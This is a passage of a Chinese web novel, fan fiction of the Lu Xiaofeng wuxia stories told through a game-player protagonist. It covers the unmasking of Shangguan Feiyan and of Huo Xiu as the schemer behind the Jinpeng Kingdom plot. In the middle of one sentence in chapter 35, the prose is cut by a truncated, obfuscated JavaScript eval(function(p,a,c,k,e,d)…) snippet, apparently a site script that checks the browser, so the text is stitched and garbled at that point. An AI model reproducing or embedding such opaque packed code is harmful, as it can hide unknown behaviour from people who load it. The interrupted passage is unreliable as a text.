司空摘星说,“我也没有想到你陆小鸡也会有这么听别人的话的一天。” 霍休道,“其实,很大一部分没有得到邀请就试图闯进来的人都是没那么听话的。” 司空摘星问,“除了我们四个,还有谁进来过?” 霍休说,“除了你们四个,就再没有人能走到我面前了。” “这栋小楼里有一百零八个机关,只要你们其中的任何一个人踏错一步,此刻便该在阴曹地府相会了!” 话音落地,他又看向了陆小凤,眼底微微亮了一下,评价道,“看来我从前还没有完全认识你。” “因为我从前还没有这么听话?” 霍休道,“不。因为我直到今天才发现,你远比我想象中的要更聪明。” 陆小凤笑了,“难得听到你说别人的好话,倒是稀奇。” 霍休淡淡道,“聪明的人更容易被自己耽误。你难道没有听说过这个道理吗?” 他把温好的热酒放在了陆小凤的面前。杯底磕在青石上,发出一声脆响。 陆小凤接过来,仰头一饮而尽,赞道,“好酒!” 霍休又倒好了两盏酒,分别推给了司空摘星和花满楼。 芒青的眉梢很轻地扬了一下,谁也没有发觉。 老人把火炉里的炭火调小了一些,道,“费这么大的劲,你们总不会是来找我喝酒的罢。” 陆小凤的眼睛忽然也迸出了光。 他放下酒杯,说,“之前在枣树林的小木屋里时,你曾经说过一句话。” “是什么?” “‘五十年前,我刚来到这里时’。” 霍休露出一点恍然的神色。 陆小凤道,“五十年前,恰好有一个王朝覆灭,其中的四个旧臣逃到了中土。阎铁珊是严立本,独孤一鹤是平独鹤,而你就是上官木。” 一席话说完,被揭穿了真实身份,霍休的神色却分毫不变,既没有像阎铁珊那样表现出极度的抵触,也没有流露出任何意外与遭人戳穿的窘迫。 陆小凤的讲述仍在继续。 “可是,一到了这里,你们就立刻消失得无影无踪了。昔年的先王无论如何也想不到,那笔用来复国的财产竟会被三个狼子野心的托孤重臣私吞。” 霍休忽然开口打断了他,“不对。” 陆小凤反问,“哪里不对?” 霍休道,“进来的时候,你们是不是已经看过了那些财宝和甲械?” 陆小凤道,“是。” 霍休便道,“先王留下的遗产,是用来复国的。” “所以?” 霍休沉声道,“所以,这些财宝同样意味着沉重的责任。如果小王子想要得到这些钱财,就一定要担任起复兴王朝的使命。可惜……” “可惜?” “可惜他已被哥萨克的铁骑吓破了胆子,只想安安稳稳地当一个衣食无忧的富家翁。上官谨是一个很懂得经营的人,他的身家足够让小王子过上很好的生活了。” 陆小凤没有说话。 霍休抬手指向了外面,“那些刀枪和盔甲,就是我们筹备出来,用以复国的。” 芒青忽然问,“阁下的身份数十年都没有人发现,外面的四个人又是怎么得知的呢?” 她笑了一下,长而浓密的眼睫也跟着弯了起来,更显秾丽,“毕竟他们每一个人都自称是大金鹏王。” 霍休的目光落在了这个年轻人的身上。她的年纪的确很轻,还没有学会怎样才能好好把自己隐藏起来。 霍休能感觉到她略显冒犯的视线,但是,走到了他这个地位的人,原本就是不会对一些无关紧要的小人物投注太多精力的。 只不过,或许是因为那对夫妻的缘故,也或许这个老人的确视陆小凤为很要好的友人,爱屋及乌之下,霍休还是难得和缓了语气,回答了这个问题。 “了解昔年金鹏王朝之事的,并不是他们四个。有一个知情人将隐秘告诉了这些人,使他们来做马前卒。” 芒青问,“依阁下来看,这个人会是谁呢?” 霍休道,“我不知道。” 陆小凤问,“连那些‘大金鹏王’也不知道?” 霍休冷冷道,“假如你是那个执棋的人,难道会把自己的身份暴露给棋子吗?” 陆小凤摇头,“我不会。” 霍休沉默了少顷,道,“我一直没有问,请你们来做这件事的人究竟是谁。” 陆小凤道,“因为你一定已经猜到了。” 霍休叹息道,“不错。除了昔年的小王子,还能有谁既知道那样多的内情,又肯大费周章地来找我们。可是……” 陆小凤把话接了下去,“可是,既然有人能冒充大金鹏王来找你,难道就不能有人冒充大金鹏王和丹凤公主来找我们么?” 花满楼道,“当然是有可能的。而且,的确有这样一个隐藏在暗处的人知道曾经的隐秘。” 司空摘星道,“所以,你将丹凤公主掳来,就是为了验明她的身份。” 霍休反问,“上官丹凤?” 司空摘星说,“不错。” 霍休道,“谁与你说她被我掳来了这里?” “你没有这样做?” 霍休冷道,“还有谁 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陆小凤睨他一眼,满肚子坏水道,“小偷连别人家的恭桶都能偷,小鸡为什么不能咬咬牙来扒别人家的鞋子?” 司空摘星:“……喂!” 他不由先瞥了一眼芒青,转而才咬牙切齿道,“你翻那陈年老黄历做什么?” 陆小凤幸灾乐祸,“原来小偷也知道这件事不怎么光彩。” 这次轮到司空摘星的额角蹦出一朵十字小花,陆小凤早有防备,两个人对视几秒,同时出手,瞬间扭打在了一起。 不同于两个好朋友,芒青和花满楼这边一派岁月静好的模样。 花满楼的手里已经捏上了第三根心形的狗尾巴草。 芒青弯腰找盘靓条顺的有缘草,他就捧着草编站在一旁等她。 玩家掐了两朵小花,回过头来,莫名幻视一只自己叼着牵引绳的小羊。 她把花编在爱心中央,花瓣太过娇嫩,轻轻一碰便蜷皱了起来。 花满楼的指腹抚摸上浅黄的花蕊,笑问,“是什么?” 芒青单纯觉得好玩,没想那么多,现场思考了一下,回答,“花开在心上,可能是开心的意思。” “可能?” 芒青说,“如果你愿意相信的话,就是一定。” 花满楼微笑颔首道,“那么它一定是开心的意思。” 芒青注视着前面的路,没听清npc在说些什么,敷衍地“啊”了一声。 山路的尽头,一个苗条的姑娘正朝着这边缓缓走来。 是峨眉四秀中的叶秀珠。 她的脸色带着憔悴的苍白,眼下青黑,看起来就像一个晚上都没有好好休息过一样。 芒青抬步迎了上去,“叶姑娘?” 叶秀珠神思恍惚,强捺着定一定神,才认出了眼前的人,“芒青少侠?” 芒青面露关切,“你怎么在这里?” 提起这个话题,叶秀珠像是想到了什么,身体微微颤抖了起来。 “我们在这里埋葬了师傅,大师姐和两个师妹都已经回去休息了。但是,我、我睡不着……” 芒青不由伸出手,轻轻扶了她一下。 叶秀珠像是从这个动作中汲取到了力量,忽然咬唇道,“大清早,你们这是……?” 芒青看着她,眨了一下眼,微微笑了,“我们刚从山上的小楼下来。” 叶秀珠睁大了双目,看了看她身后嬉笑打闹的陆小凤三人,垂首黯然道,“那很好。了结此事后,我和师姐妹们也该回峨眉了。少侠呢,又要往什么地方去?” 以芒青的角度,只能看到她低敛的眉眼,却辨不清姑娘的神色。 少年人又眨了一下眼,笑意更浓,“我们要去找一个人。” “谁?” “我或许还不清楚他的身份。但我希望那个人生着六根脚趾。” 叶秀珠露出一种很惊诧的表情,“六根脚趾?” 芒青不知道是被什么逗乐了,一手松松搭在姑娘的肩膀上,忽然偏头闷闷地笑出声来。 整整两夜未曾阖眼,她的嗓音带着轻微的沙哑,不如以往清润,“是呀。” 叶秀珠后退一步,拉远了距离,年轻人的胳膊也顺势从她的身上滑落了下来。 女孩子的两只眼睛里似乎都写满了不可理喻。 她左右环顾一圈,山道上林荫葱葱,却几无人烟。 一股带着凉意的清风吹拂而过,激起人身上一片鸡皮疙瘩。 于是叶秀珠又往后退了一步。 34.第三十四章 * 陆小凤和司空摘星过来的时候,姑娘已经跑远了。 叶秀珠的脚步踉跄,甚至有些虚浮。这或许是因为她连日奔波,精神已经很疲惫了;也或许是因为她刚刚听到了一个骇人听闻的消息;更或许是因为其他什么旁人不得而知的原因。 陆小凤奇怪道,“你和她说了什么?” 芒青反问,“陆大侠没有听见?” 陆小凤露出一点无语又窘迫的神色。他只犹豫了半秒,就果断选择拉另一个当事人下水,“我俩都没听见。” 司空摘星:“……” 芒青笑了,很体贴地转移了话题,“我告诉叶姑娘,我们要去找一个有六根脚趾的人。” 司空摘星半分质疑都没有,他努力头脑风暴,思考芒青此举的用意,陆小凤的两只眼睛却已经微微地亮了起来。 * 熟悉的长廊幽深而昏暗,褪去了华美的色彩后,只让人觉得空洞洞的阴森。 大殿里门窗紧闭,燃着熏香。好在香气和烟气俱都不算浓郁,并不算难以忍受。 大金鹏王坐在他的龙椅里,面前的小桌板上摆着一只金色的长颈酒壶。这个老人正在喝酒。 平心而论,他的酒并不像霍休收藏的那样香醇,但陆小凤却竟然好似被这味道勾起了馋虫,很感兴趣地询问了起来。 于是,大金鹏王也很豪爽地大笑了起来,邀请他们一起来饮酒。 眼生的侍女呈上了三只酒盏,一只给陆小凤,一只给花满楼,一只给司空摘星。最后,她从托盘中取出了一个茶碗。 芒青在她的手背上摁了一下,侍女疑惑地看了过来。 少年人含笑道,“给我也拿一只酒盏吧。” 侍女为难地看了一眼盘里的酒壶,芒青体贴地主动拿起来,“我们自己倒就可以。多谢。” 女孩子下意识地去看大金鹏王的脸色。龙椅上的老人仰头饮下了杯子里的最后一口酒,随意地摆了一下手。 得到允可,侍女这才恭顺地退了下去。 芒青离开座席,信步走到陆小凤、司空摘星和花满楼的身后,左手撑在椅背上,弯腰一一替他们把酒斟满。 酒水落入杯盏,发出泠泠的轻响。大金鹏王的目光不经意般地落在年轻人的身上,又很快转去了灵犀一指所在的方向,目露期待。 陆小凤自然知道他关心的是什么样的问题,并不故弄玄虚,干脆道,“严立本和平独鹤已经死了。” 大金鹏王先露出了一点吃惊的神色,转而又变为了一种快意又惆怅的复杂表情。 他没有说话。这种时候,惊闻故人的噩耗,无论曾经有过怎样的恩怨,大概都是很难感受到纯粹的快乐的。 司空摘星道,“阎家的总管承诺把珠光宝气阁的财产交还给金鹏王朝。” 大金鹏王沉默了少顷,百感交集地长长叹出了一口气,自顾自又倒了一杯酒,将它一饮而尽,转而说起先前的话题,“那么,上官木呢?” 陆小凤道,“我们没有找到他。” 听到这样的答案,大金鹏王却只是点了点头。阎铁珊和独孤一鹤的死大抵的确对这个老人带来了不小的冲击。 芒青忽然道,“阁下可知萧秋雨和独孤方如今身在什么地方?” 大金鹏王皱眉道,“我令他们前去协助几位,难道这二人没有找到你们吗?” 陆小凤道,“他们没有找到我们,我们却碰见了他们。” 大金鹏王抚掌笑道,“倒也算殊途同归。” 陆小凤却没有跟着他笑起来。侠客的声音忽而转冷,道,“只不过,我们碰见这两个人的时候,他们已经变成了两具尸体!” 大金鹏王骇然变色,“什么?!” 芒青轻轻叹了一口气,道,“幸好我们到目前为止,还没有遇到柳余恨。” 大金鹏王说,“你们没有遇到柳余恨,是因为他根本就没有离开这里。柳余恨为了守卫我的安全,被留在了此地。” 老人脸上的肌肉抽动了几下,露出几分感伤之色。 “他们都是受我邀请而来的侠客,不想,却葬送在了这样好的年华……” 他伸手倒酒,酒盏却只被填了个半满。芒青见状,便拿起了自己面前的酒壶,起身离席。 大金鹏王连忙阻止,笑道,“怎么好这样慢待客人。来人,再给我拿一壶酒来!” 芒青动作微顿,轻轻地笑了一下,从善如流地重新坐回了椅子里。司空摘星不动声色地把自己面前的酒盏推远了一些。 时间到底过去了五十年,昔日的小王子,如今也变成了满头银发的迟暮老人。 他已不是曾经那个能够肆意豪饮的年轻人了,精力也再不如从前旺盛。 大金鹏王的神色逐渐变得迷离起来,斜斜地歪坐在龙椅上。 软垫滑落到了地上,主人确好似仍旧无知无觉。 陆小凤和司空摘星对视一眼,悄无声息地走上前去,“被子掉了,我帮你捡。” 大金鹏王含糊地咕哝了一声。陆小凤的手指却没有去碰坠在一边的布料,反而转向了老人的靴子。 指尖和鞋子的距离越来越近,司空摘星不由屏住了呼吸。 恰在此时,大金鹏王忽然睁开了眼。 他的眼睛睁开,却不是为了来抓陆小凤的现行。 老人的脸上露出了痛苦的神色,枯瘦的手指痉挛着抓上了自己的脖子,喉间嗬嗬有声,仿佛正在承受非人的折磨。 他的头用力地仰了起来,双目暴突,视线紧紧地钉在天花板上,双脚踢腾不休。 陆小凤面色骤变,一把抢上前掐住了他的人中。花满楼、司空摘星和芒青俱都赶了过来。 片刻功夫,大金鹏王就已没有了声息。 这个年迈的、沧桑的、坚毅的老人就这样死在了冷冰冰的龙椅之上。神色中有惊惧,有愤怒,也有十足的不可置信。 没有人说话。 阳光透过窗纸,照进室内时,已变成了一种沉郁的、暗淡的棕黄色。 就在这一片静默之中,忽然有一道不合时宜的、悠长的刺耳声响传了过来。 门扉推开,明朗的日光也终于短暂地照入了室内。 走进来的,是一个在场之人都再熟悉不过的姑娘。 上官丹凤。 这个本该失踪的女孩子此刻竟出现在了大殿之中。在她的父亲死亡之后。 她实现了分别前的承诺,头上果然戴着那只步摇,耳下也果然挂着那副耳铛。 丹凤公主脸上的笑意深浓,身后还跟着一个沉默寡言、如影子一般的男人。 正是本该作为大金鹏王守卫的柳余恨。 陆小凤像是陡然恍悟了什么,回过身去,一把拽下了老人的靴子。 那只布满皱纹的脚上,赫然长着五根脚趾。 仅仅五根脚趾。 陆小凤盯着那只再普通不过的脚,表情却是十足的震惊,仿佛在他的认知中,人长着六只脚指头才算是正常。 他竟然不是真正的大金鹏王。他果然不是真正的大金鹏王。 司空摘星上前一步,怒斥,“你们不是真正的大金鹏王和丹凤公主,你……!” 他的神色陡然变了,脚步虚浮地踉跄了一步,竟如同不久前的花满楼一般不受控制地栽倒在地。 陆小凤猝然回头,花满楼的眉头也紧紧皱了起来,勉强支撑着身形,却也已是强弩之末。 不过几息,这两名好朋友便也跟着软倒了下去。 芒青给自己找了一把椅子,看起来尚有余力,可旁人若是仔细去瞧,就能发现她的嘴唇早已不见了血色。 四个人失去了行动的能力,神智却仍算清醒。 上官丹凤缓步走到了芒青的面前,抬手抚摸了一下鬓边的发簪,又用那只手摸了摸她的脸,“我虽然说了一些谎话,但是总有一句话是没有骗你的,对不对?” 少年人很勉强地勾起了唇角,回答,“对。” 上官丹凤于是又轻柔地摸了摸她的脸,“你实在是一个很招人喜欢的人,对不对?” 芒青张嘴欲言,一根葱白的手指却抵在她的唇边,止住了即将出口的话。女孩子嫣然一笑,“不用反驳。我也很喜欢你送给我的礼物。” 芒青无奈地发出一声类似轻笑的气声,道,“不。我只是想在死前看一看你真正的样子。” 上官丹凤说,“死?你把我想得太坏了。你送了我这么好看的珠宝,我怎么会忍心让你死?” 芒青神色不变,平静地注视着她。她的话果然还没有说完。 姑娘的神色陡然变得阴鸷,“可惜,你竟然拒绝了我的示好。”那只柔夷逐渐滑下去,卡住了少年人的脖颈,“你说,你是不是很不识好歹?” 即使是这样有些可怖的表情,由她做起来,也仍然显得很动人。 芒青被迫仰起头注视着上官丹凤,忽然很浅地笑了一下。 她说出了一个名字。话音落地,对面人的表情骤然冷了下来。 “上官飞燕。” 那只握着她命脉的手陡然收紧了,芒青的呼吸急促了一瞬,苍白的面色也因为缺氧泛起了一阵稍显病态的红。 司空摘星面色骤变,艰难地在地上蠕动了一下,“喂!说话就说话你别动手动脚啊!……等一下能不能别掐了!实在不行你问我吧,我知道的也不少啊!” 谁也没理他。 上官丹凤——或许现在应该叫她上官飞燕了。女孩子凑近年轻人的耳边,颇有些单纯的疑惑,道,“你是怎么知道的?” 此刻,她的嗓音已完全变成了另外一个人的模样。 比她伪装出来的要更甜蜜,也更娇俏。仿若情人的耳语。 如果这位有情人的手没有紧紧地扼在另一个人的咽喉之上的话。 芒青不慌不忙地弯了一下眉眼。 早在许久之前,玩家眼中,这位npc头顶的名字就已经从[上官丹凤(□□□□)]变成了红名的[上官丹凤(上官飞燕)]。 体贴的玩家为boss解疑答惑,仍旧很干脆地说出了一个名字。 “雪儿。” 上官飞燕冷冷道,“我早就该把她关起来了。如今看来还是晚了一步,差点让那小鬼坏了我的事。” 芒青没有对她的话语发表评价,只是说,“她是一个好妹妹,一直在寻找失踪的姐姐。” “所以?” “所以,我帮了她一个很小的忙。可惜只找到了她的另外一个姐姐。” 上官飞燕侧过头,彼此的呼吸近在咫尺,女孩子的眼神却好似一块寒冰,落在人身上时,仿佛也能将皮肉生生剐下一层。 “上官丹凤的特征太有辨识度了,你没有太多时间花费在毁尸灭迹上,于是把她埋在了花园里,对不对?” 芒青的瞳孔微微失焦了一瞬,又很快恢复了游刃有余的样子,含笑,“花园很大,但是幸好上官丹凤是 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陆小凤勉力翻身一滚,柳余恨一剑落空,正待再出一招,上官飞燕却忽然叫停道,“等等。” 听到她的命令,柳余恨立刻硬生生刹住了攻势,停下动作,目光锁在女孩子的身上,等待着新的指令。 司空摘星叹为观止,不由喃喃,“我服了。” 陆小凤咬牙切齿,“别服,你也不差。” 上官飞燕终于松开了芒青的脖颈,少年人脱力地仰靠在椅背上,冷汗从额角滑落下来。 玩家瞥了一下自己的血条,心有余悸地闭了闭眼。 好险,差一点就要读档了。 逃过一劫的玩家看着boss朝队友npc的方向走了过去,并提出了一个不合理要求。 怎么cb向也能搞出狗血二选一。这对吗。 “想保全司空摘星和花满楼的性命,就去杀了西门吹雪。” 话音落地,陆小凤不由苦笑,“他又怎么惹到你了?” 上官飞燕冷冷道,“他折断了我的剑。敢侮辱我的人,都是该去死一死的。” 她忽然放柔了嗓音,道,“现在,便只看你心里究竟是这两个好朋友比较重要,还是那一个好朋友更重要了。” 司空摘星吐槽,“你们这对假父女怎么总喜欢让别人无偿卖命?” 依然没人理会他。 上官飞燕定定地看着陆小凤,陆小凤叹息一声,道,“西门吹雪的剑法你应当领会过一二。” 女孩子笑容不变,“但我相信灵犀一指的实力。” “手指怎么能跟精铁比硬度?” 上官飞燕赞道,“那真是好极了。如果你们两个能一起去死,黄泉路上也算有人作伴。” 司空摘星道,“你觉得我和花满楼会眼睁睁看着你用我们来威胁陆小凤吗?” 上官飞燕淡淡道,“那么,我会让陆小凤眼睁睁看着你们下黄泉。” 陆小凤道,“你也是这么对待萧秋雨和独孤方的么?” “你不觉得他们知道的太多了一点吗?” “所以他们一定要死。” 上官飞燕默认,说,“起码他们临死前还发挥了最后一点作用。” 司空摘星叹息道,“你们利用这两个人的死激起了这只小鸡的斗志,实在已把他的脾气摸得很透彻了。只是我仍然想不明白,你为什么独独落下了柳余恨。”[3] 上官飞燕的视线忽然转到了柳余恨身上,轻飘飘道,“因为他实在是一个很听话的人。虽然这样的人总是很难找到,好在我身边还有不少。现在,他的最后一点用处也没有了。” 她偏头看向了柳余恨。 柳余恨的脸色忽然变得惨白了下来,那只装着长剑的胳膊也颤抖了起来,“……你想我死?” 上官飞燕的嗓音冷了下来,语调却仍是很温柔的,像一条正在嘶嘶吐信的美丽蟒蛇。 即使是这个时候,她露出的獠牙和鳞片也依然足够让人心折。 “无用的人应该去死,你也很认可这一点,对不对?” “……” 柳余恨抬起了手臂,剑身贯穿了他的胸口,温热的鲜血洒在了地上。 这个丑陋、残缺又可悲的男人倒在了地上,仅剩的那一只眼睛里的光也逐渐暗淡了下来。他的表情里竟带着一点释然、一点解脱。 陆小凤静静地看着那张平静安宁的、几乎已不能称作人类的死人的脸,忽然说,“你不应该叫他死的。” “哦?” “你杀了他,是因为你用他试过了我,我的确已经中了毒,失去了行动的能力。” 上官飞燕的神色陡然变得厌倦,她像是看着一块死肉那样注视着陆小凤,“如果你答应去杀了西门吹雪,或许还能有重新站起来的机会。” 司空摘星突然笑了一下。 上官飞燕问,“你在笑什么?” 话音尚未落地,就已戛然而止。一只苍白修长的手轻轻搭在了她的肩膀上,抵住了她的穴道。 上官飞燕的脑袋像是生锈的齿轮,一寸一寸地抬了起来。 一身黑色劲装的年轻人正微微弯着腰,含笑站在她身后,眉目如画,清俊风流。 被玩家忽视许久的系统面板上,一行醒目的提示正闪烁着幽幽暗光。 【赠送[中级解毒丸1],人物好感度+10】 35.第三十五章 * 芒青没有点中上官飞燕的穴道,所以她的眼睛还能看、耳朵还能听,说话的时候同样并不算吃力。 只是如今身份调转,阶下之囚变成了她本人,女孩子也就没有什么交谈的心情了。 司空摘星从地上爬起来,笑容颇有些欠揍,又有点邀功的意味,学着上官飞燕的语调说,“我演的还挺像,对不对?” 芒青搭了把手过去给花满楼借力,闻言笑着点了一下头。 上官飞燕的神色有些愤怒、有些惊惧,也有些惶恐。 即使此刻已不再受人挟制,她也依然好似脚下生根般钉在原地,没有挪动半步。 三个人拍了拍在地上沾到的尘土,简单整顿了一下仪容。 唯一一个及时给自己找了把椅子坐的芒青懒散地抱臂靠在旁边等他们收拾,顺便点开游戏面板,把解锁的支线线索一键已读。 香炉里的烟气缥缈,紧闭的门扉终于敞开。合页发出一声悠长而缓慢的“吱呀”,划破了寂静的空气。 陆小凤一脚踏出这间昏暗压抑的殿宇,抬目望去,骄阳正盛,树叶也变得亮晶晶的。清风吹拂而过,仿佛拨动了一整片浅绿色的贝母。 “等等!” 身后,姑娘的声音带着不可置信,惴惴道,“你们要去哪?” 芒青顿住脚步,微微侧了一下头,温暖的阳光在她的发梢和肩头描摹出了一层金色的边框。上官飞燕隐没在大殿内的阴影之中,看不真切。 少年人思考了一会儿,回答,“去找那个告诉你六根脚趾秘密的人。” 上官飞燕睁大了眼,失色道,“你们就这样放过我了?——不,等等!你知道他是谁?!” 她不由急切地往前走了一步,浑身都颤栗起来,“你怎么会知道他是谁?” 芒青只是很轻地笑了一下,抬步追上正在不远处等待的队友npc,没有回答上官飞燕的问题。 司空摘星等她走到身边,才小小声问,“所以那个人是谁?” 陆小凤悠然道,“你很快就能知道了。我们来找大金鹏王,躲在幕后的那个人又怎么能放得下心。” 花满楼微笑:“所以他如今一定就在附近,听到那句话,也一定会以为我们已经知晓了他的身份。” 司空摘星恍然:“你们觉得他会来灭口。” 陆小凤斩钉截铁,“他一定会。” 司空摘星看向芒青,“所以你是故意那么说的。” 偷王之王瞥一眼陆小凤,顿时鼻子不是鼻子眼睛不是眼睛,酸溜溜道,“你俩还挺默契。” 陆小凤:“。” 玩家关闭系统地图,沉吟半晌,“唔”了一声。 花满楼询问,“怎么了?” 芒青:“其实我真的知道那个人是谁,而且我还知道,他没有来找我们。” 陆小凤:“?” 司空摘星下意识接道,“他去找谁了?” 话音落下,回答他的却是花满楼。青年的面色罕见地冷凝了下来,说,“上官飞燕。” * 殿中有两具尸体,一个是假大金鹏王,另一个是柳余恨。而杀死他们的人,也即将变成这里的第三具尸体。 上官飞燕的喉咙被割破了。鲜血汩汩地喷溅出来,濡湿了她的鬓发。 那只金黄的、昂贵的发簪依然静静地躺在主人的身边,沾染了不祥的红艳色泽。 女孩子的嘴唇无力地颤动了一下,却什么话都没能说出来。 不过片刻,她就失去了声息。 陆小凤注视着上官飞燕的尸体,忽然握紧了拳头,抬目看向芒青,双眸里几乎迸发出了火焰,“他是谁?” 芒青也跟着看了看血泊中的人,片刻,若有所思地笑了一下。 * 霍休的小楼还在。那个遒劲有力的“推”字也依然写在大门之上。 不过半日,匆匆离开的一行人又匆匆地回到了这里。 几个时辰的时间说短不短,说长也并不算很长,却已足够人们去做很多事情。 比如又推进了一大步的支线剧情,比如接连暴死的红名小怪,也比如被全然搬空的宝库。 数量庞大到令人瞠目的黄金、珠宝和甲胄连同那四个疯癫的“大金鹏王”一齐消失得无影无踪,仿佛曾经入目所见的金碧辉煌都只是芒青一行的错觉。 外面正是暮春的好时节,草长莺飞、暖风拂面,可在这不见天日的山腹之中,风却是阴冷、彻骨的。 一片空寂之中,只剩下一个熟悉的老人。 霍休。 他的手边依然摆着酒壶,他也依然在温一壶酒。 老人仍穿着那件朴素的布衣。好似什么都没有改变,又好似什么都变了。 霍休的目光落在了芒青的身上,忽然叹息了一声。 “你和你的祖母很像,不仅是相貌。世间的聪明人总是没那么多的,所幸我遇到过的也并不算少。” 他笑了一下,继续道,“可惜,聪明的人更容易被自己耽误。” 他慢慢斟满了一杯酒,随口问,“你是怎么想到是我的?” 芒青的目光落在那只酒盏上,很轻地笑了一下,“晚辈是一个很喜欢占先手的人,只不过有些时候,故事开始得太早,后入场的人便实在很难再分辨出到底哪一颗才是弃子了。” “不过好在,棋盘之外的执棋人总是很容易发现的。” 霍休略起了些兴致,“哦?” “在见到霍天青的那一瞬间,他就已经成为了最值得怀疑的人选。这实在是一个再合适不过的嫁祸对象。阎大老板一死,珠光宝气阁的总管自然能得到最大的好处。” 霍休把杯盏放在嘴边,慢慢地啜了一口酒。 “幕后之人一定需要一个与大金鹏王关系密切的同伙,才能以金鹏王朝的旧事请我们入瓮,而当日动手杀死阎铁珊的人,恰好就是飞燕姑娘伪装的丹凤公主。” “大老板死后,更是霍总管亲口将珠光宝气阁的归属移交给了上官丹凤。于是,为了印证猜想,晚辈送了她一根发簪。”[1] 听到这样的转折,霍休的态度却显得很悠然,道,“你在上面动了手脚?” 芒青含笑道,“江湖上总是有许多让人防不胜防的手段,晚辈恰好知道一种香粉。” “一个人如果接触过这种粉料,便会把它带向其他与自己接触过的人。兼之无色无味,便常用于追踪查探。” 霍休叹息,“这世上最不缺的果然就是能人异士。” 芒青扬眉,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真正让晚辈确定霍总管没有嫌疑的,是叶秀珠姑娘。她撒了一个很容易戳穿的谎言。” 霍休道,“哦?” “她说,‘我们在这里埋葬了师傅’。”[7] 陆小凤接道,“独孤一鹤身为峨眉派的掌门、武林的前辈大能,又怎么会如此轻易地草草下葬。” 霍休问,“那么,你又是怎么通过她排除了霍天青的嫌疑?” 芒青说,“因为她的身上有香粉。如果她不是在为飞燕姑娘打探消息,就一定是为了霍总管而来。于我而言,这两者并没有什么分别。” “所以?” “所以晚辈又用了一点迷香,稍稍拖延了些许时间,让叶姑娘没有办法及时把消息传递出去。”[8] 年轻人适时地显露出了些许困惑的神色,“既然通风报信的不是霍总管,飞燕姑娘又是怎么知道六根脚趾会使事情败露的呢。” 她莞尔,“严立本和平独鹤已死,知道这件秘辛的,也就只有亲口将它告诉我们的阁下您了。” 36.第三十六章 * 顶着霍休几欲杀人的目光,在精神层面对boss重拳出击的玩家有恃无恐,仍在持续输出。 少年人俊朗的眉眼盛着比三月的春色还要动人的笑意,言辞却堪称嘲讽。 “虽然您做的事漏洞百出,但到底年长晚辈许多,总有些令人叹服之处。譬如‘聪明的人总是更容易被自己耽误’这句话,或许在前辈的身上才最为适用。” 她顿了顿,唇边的弧度更深了些许,感慨道,“人老后大抵的确会更念旧情一些。” 霍休阴测测道,“如若不是我顾念着你祖父母的那点香火情,也不会在你身上吃了这一堑。” 司空摘星嗤笑,“别把自己说的那么高尚。真记得旧情,你又怎么会派手下去追杀芒青。” 霍休蹙眉,“什么?” 陆小凤叹息,“事到如今,遮遮掩掩又有什么意思,何不打开天窗说亮话。上官飞燕的同伙是你,那么,安排青衣楼的杀手替她杀死萧秋雨和独孤方、一箭双雕引我入局的,难道还能有第二个人选么?” 灵犀一指眸色复杂,苦笑道,“想不到我陆小凤有一天也能和青衣楼的总瓢把子交上朋友。” 霍休道,“不。” 陆小凤扬眉。不明白他还想否认什么。 这个一向对自己的恶行抱之坦然的老人头一次露出了一种并非伪装的、严肃的表情。 “我从没有派人去刺杀过你。”他转向芒青,道,“在见到你之前,我甚至不知道他们还留有后嗣。” 芒青的唇角弯了一下,态度是故作的谦逊斯文。 年轻人似乎并不意外听到这样的回答,“在见到阁下的第一面,晚辈就已经确定了这一点。” 毕竟那时候boss还没亮红名。 霍休的视线从四人身上一一扫过,盯着他们瞧了一会儿,忽然露出了一个夹杂着畅快的、计谋得逞的笑容。 他说,“你们难道没有发现这里已经变得有些不一样了么?” 陆小凤颔首,“的确大不一样了。” 老人布满了皱纹和斑点的手抚上了面前的石台,向后仰靠在椅背上,看着芒青,闲适道,“能想通其中的关窍、反将我一军,你的确很有两把刷子。假使能活着离开此地,将来必定大有所为。” “好在,你尚且稚嫩,绝不会想到我只需最后在这盘棋的末尾再多走上一步,就能毫发无损、金蝉脱壳。” 话音未落,他抬臂摁下了一个机关。 伴随着机栝运转的咯吱声,一尊巨大的铁笼轰然而落,砸起一片碎石扬尘,紧紧地扣在了地上。 “纵使你们想走,也已经走不掉了!” 司空摘星瞅了瞅那只铁笼,沉默半晌,道,“现在走不了的那个好像是你。” 霍休大笑,“这座笼子足有一千九百余斤之重,绝没有人能搬得动。石桌下,便是此地唯一一处通往外界的密道。你大可以去推一推你们进来的那扇石门,试试看还能不能打开。” 他笑起来,皱纹也随之牵动,仿若一条条扒在脸上黏腻蠕动的小虫。 “我曾告诉过你们,这栋小楼里一共有一百零八处机关,此笼便是最后一处,也是我的后手。待我出去后,它便会被封死。除非你们有飞天遁地的本事,否则,无论如何也是逃不脱的!” 司空摘星的面色变了。陆小凤苦笑,“看来你早已做好要将我们困死在这里的准备了。” 霍休悠然道,“一个惜命的人为了保命总是会做很多准备的。” 陆小凤说,“你要杀我们,这实在不是什么难以理解的事情。可我实在奇怪,你为什么连上官飞燕都没有放过?她难道不是你的同谋么?” “事已至此,我也不妨叫你做个明白鬼。”霍休道,“上官飞燕既肯与我合作,就证明我身上有她想要图谋的东西。” 陆小凤恍然,“你最出名的长处,便是财富了。” 霍休大笑,“不错。一个女人或许能不为美色所打动,却一定不会不喜爱珠宝。”[1] 他笑着笑着,面色却陡然阴沉下去,恨声道,“但她一定要死。我绝不能忍受与其他人分享我的财宝。” 花满楼道,“所以,你才会杀死大金鹏王、独孤一鹤和阎铁珊。” “这世上,最安分的就是死人。也只有死人才不会再来分我的钱!” 【获得[剧情线索新],您已解锁当前副本所有线索,达成初级成就[强迫症福音],点击查看详情】 司空摘星肃然起敬,“嚯,活的铁公鸡!” 霍休不以为忤,居高临下、故作姿态地长叹道,“只可惜,到底无法看到你们垂死挣扎的样子。” 陆小凤道,“难道你真的以为我们拿这铁笼没法子么?” 霍休道,“这笼子之所以能重到十八个莽汉都抬不动,正是因为铸造它的材质乃是百炼精钢。倘若你有传说里削铁如泥的神器,或许还能试着来砍一砍。” “看来,我们今天是一定走不出这栋小楼了。” 霍休的目光落在芒青腰间那把简陋的铁刀上,不屑地讽笑一声,“一点也不错。你们不仅今天走不出去,明天、明年也走不出去!” 陆小凤面上仍是一派云淡风轻,后颈却已微微淌出了冷汗。 